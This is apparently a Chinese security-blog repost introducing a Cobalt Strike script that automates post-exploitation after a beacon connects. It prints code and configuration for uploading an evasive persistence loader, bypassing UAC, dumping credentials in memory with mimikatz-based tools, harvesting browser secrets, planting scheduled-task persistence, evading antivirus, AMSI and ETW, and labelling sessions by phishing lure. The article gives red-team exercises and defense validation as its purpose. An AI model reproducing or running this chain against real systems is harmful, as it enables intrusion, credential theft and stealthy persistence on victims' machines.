基于OPSEC的CS后渗透自动化链

项目简介

在攻防实战中发现存在以下困境:

  1. 鱼叉式水坑、社工钓鱼以及威胁猎捕场景下上线时间不可控,且无法二十四小时守在电脑附近,同时常见的自动权限维持插件需要提前在目标机器放置木马,并且存在维权上线然后重复维权的套娃问题
  2. 在HW场景下单个主机的信息收集、权限维持和凭据收集等大部分都是重复性操作,且进行CS多人协作时容易重复收集降低效率
  3. 已有的自动化链(上线自动执行whoami、截图等操作),大部分使用 brun、bshell、bspawn等CS原生敏感命令,容易被杀软检测关联到木马进程导致掉线,已不适应如今的攻防场景

本项目尝试将后渗透攻击链中的部分人工重复性工作借助CobaltStrike转变为自动化并兼顾隐蔽性(Bypass):

  • 遵循OPSEC(Operations Security)原则,RedTeam结合C2隐匿、木马免杀、工具魔改二开、BOF、自研工具/C2、ATT&CK攻击手法等结合使用可构建完整的隐蔽自动化链
  • 企业安全建设方面也可借此做自动化内网攻击编排进行内网终端侧、流量侧防护效果的验证

自动草稿

功能特性

  • 敏感操作通过 BOF 和 C# 程序执行,避免文件落地以及隐蔽动态行为特征

  • 上线主机结合智能化存活判断进行自动权限维持,杜绝重复上线
  • 将 LSTAR 后渗透插件的功能函数化,为不同场景下编排定制化的自动化链提供便利
  • Bypass AV ① 动态查杀 ② Windows Defender 的 AMSI/ETW
  • C# 内存加载 + BOF + 定制化免杀工具及技术 = 无限可能

流程编排

项目CNA脚本默认配置未做任何操作,仅做存活权限信息判断和控制台打印信息!!!

请在理解原理的情况下结合实战需求进行合理配置,整体实现思路详见:https://xz.aliyun.com/t/14076

上线微信通知

冲锋马上线时建议取消注释bsleep,上线默认激活Beacon执行自动化链内容(等效控制台Sleep 0命令)

自动草稿

配置Token:

http://www.pushplus.plus/push1.html复制自己的token替换到参数定义的地方

$pushplusToken = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";

Server酱同理

$serverchanKey = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";

自动草稿

服务端后台挂载

使用agscript在服务器端运行cna文件,和挂载CobaltStrike一样,把cna脚本也挂载到后台:

root@VM-8-8-ubuntu:~# screen -S AutoPostChainroot@VM-8-8-ubuntu:~# ./agscript [host] [port] [user] [pass] </path/to/AutoPostChain.cna>

这里agscript的用法为:

 ./agscript [host] [port] [user] [pass] </path/to/file.cna>
  • [host] # 服务器的ip地址。
  • [port] # cs的端口号,启动cs时有显示。

  • [user] # 后台挂载脚本时连接到teamserver的用户名。

  • [pass] # 启动服务端cs时设置的密码。

  • [path] # cna文件的路径。

上线提醒标记

除去常规提醒外,当有多台C2服务器时,配置好cserverName参数可以在通知标题进行上线提醒的区分:

$cserverName = "AT";

自动草稿

攻防场景下可通过上线进程来自动标记是针对哪个目标的终端权限上线了:

sub Note { if ($processName eq "beacon.exe") { bnote($1, "test"); } else if ($processName eq "个人简历.exe") { bnote($1, "XX单位社工钓鱼"); } else if ($processName eq "javaEE.exe") { bnote($1, "维权上线"); }  else if ($processName eq "Update.exe") { bnote($1, "BypassUAC上线"); } }

自动草稿

智能化权限维持

相关工具脚本只做示例演示,请使用本项目时结合实战场景进行针对性免杀和二次开发

配置Loader

制作好免杀的维权马后放到scripts目录下,配置以下参数:

# Loader 路径$LoaderName = "Update.exe";$LoaderPath = "C:\\Users\\Public\\";$LoaderFullPath = $LoaderPath.$LoaderName;$b64encodeFullPath = "QzpcVXNlcnNcUHVibGljXFVwZGF0ZS5leGU=";

$b64encodeFullPath为维权马Windows完整路径C:\\Users\\Public\\Update.exe Base64加密后的内容,只是为了配合SharpBypassUAC工具参数输入,实际情况请替换其他动态行为免杀的BypassUAC程序。

配置用户执行链

取消注释以下代码

自动草稿

这里用两个场景函数进行编排示例:

NormalUser_Chain 函数用来编排不需要管理员权限即可执行的操作如信息收集、屏幕截图、上传文件等;OnlyAdmin_Chain 函数用来编排只有管理员权限才能做的操作比如凭据获取、隐蔽权限维持等。

其中NormalUser_Chain执行流程如下:

1. 上传木马到指定目录:

sub UP_Loader { bcd($1, $LoaderPath); blog($1,"\c9开始上传 Loader"); bupload($1, script_resource("/scripts/".$LoaderName)); blog($1, "\c8Loader 文件上传完成"); blog($1, "\c8Loader文件位置:$LoaderFullPath");}

2. 调用readbof函数加载BOF并执行whoami、ipconfig、screenshot ;

3. 调用inlineExecute-Assembly函数通过SharpHostInfo扫描当前C端主机信息。

ScreenshotBOFPlus优化了能在无需注入的情况下在Windows启动全局缩放时获取完整截图

而BypassUAC调用inlineExecute-Assembly函数执行SharpBypassUAC工具通过computerdefaults技术以及编码后的木马路径进行UAC绕过,并上线管理器权限 Session。

最后OnlyAdmin_Chain执行流程如下:

  1. 调用 inlineExecute-Assembly 函数执行 SharpKatz 工具内存中加载 mimikatz 获取主机凭据;

  2. 执行 Pillager BOF 程序不落地的情况下收集主机浏览器、软件、账户凭据等敏感信息;
  3. 调用 inlineExecute-Assembly 函数执行 SharpSchTask 工具进行隐蔽权限维持。

自动草稿

场景流程编排

通过isadmin结合存活权限判断实现上述执行场景流程的编排:

自动草稿

这样通过BypassUAC二次上线管理员权限时,将只会执行OnlyAdmin_Chain($1); :

自动草稿

此场景流程编排仅做示例使用,请结合实际需求和实战场景移植相应BOF功能等技术进行配置。

参考项目

https://github.com/h0e4a0r1t/Automatic-permission-maintenancehttps://github.com/gooderbrother/antiVirusCheckhttps://github.com/anthemtotheego/InlineExecute-Assemblyhttps://github.com/trustedsec/CS-Situational-Awareness-BOFhttps://github.com/qwqdanchun/Pillagerhttps://github.com/baiyies/ScreenshotBOFPlushttps://github.com/shmilylty/SharpHostInfohttps://github.com/FatRodzianko/SharpBypassUAChttps://github.com/0x727/SchTask_0x727

下载地址

https://github.com/lintstar/CS-AutoPostChain

文章来源:Hack分享吧

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容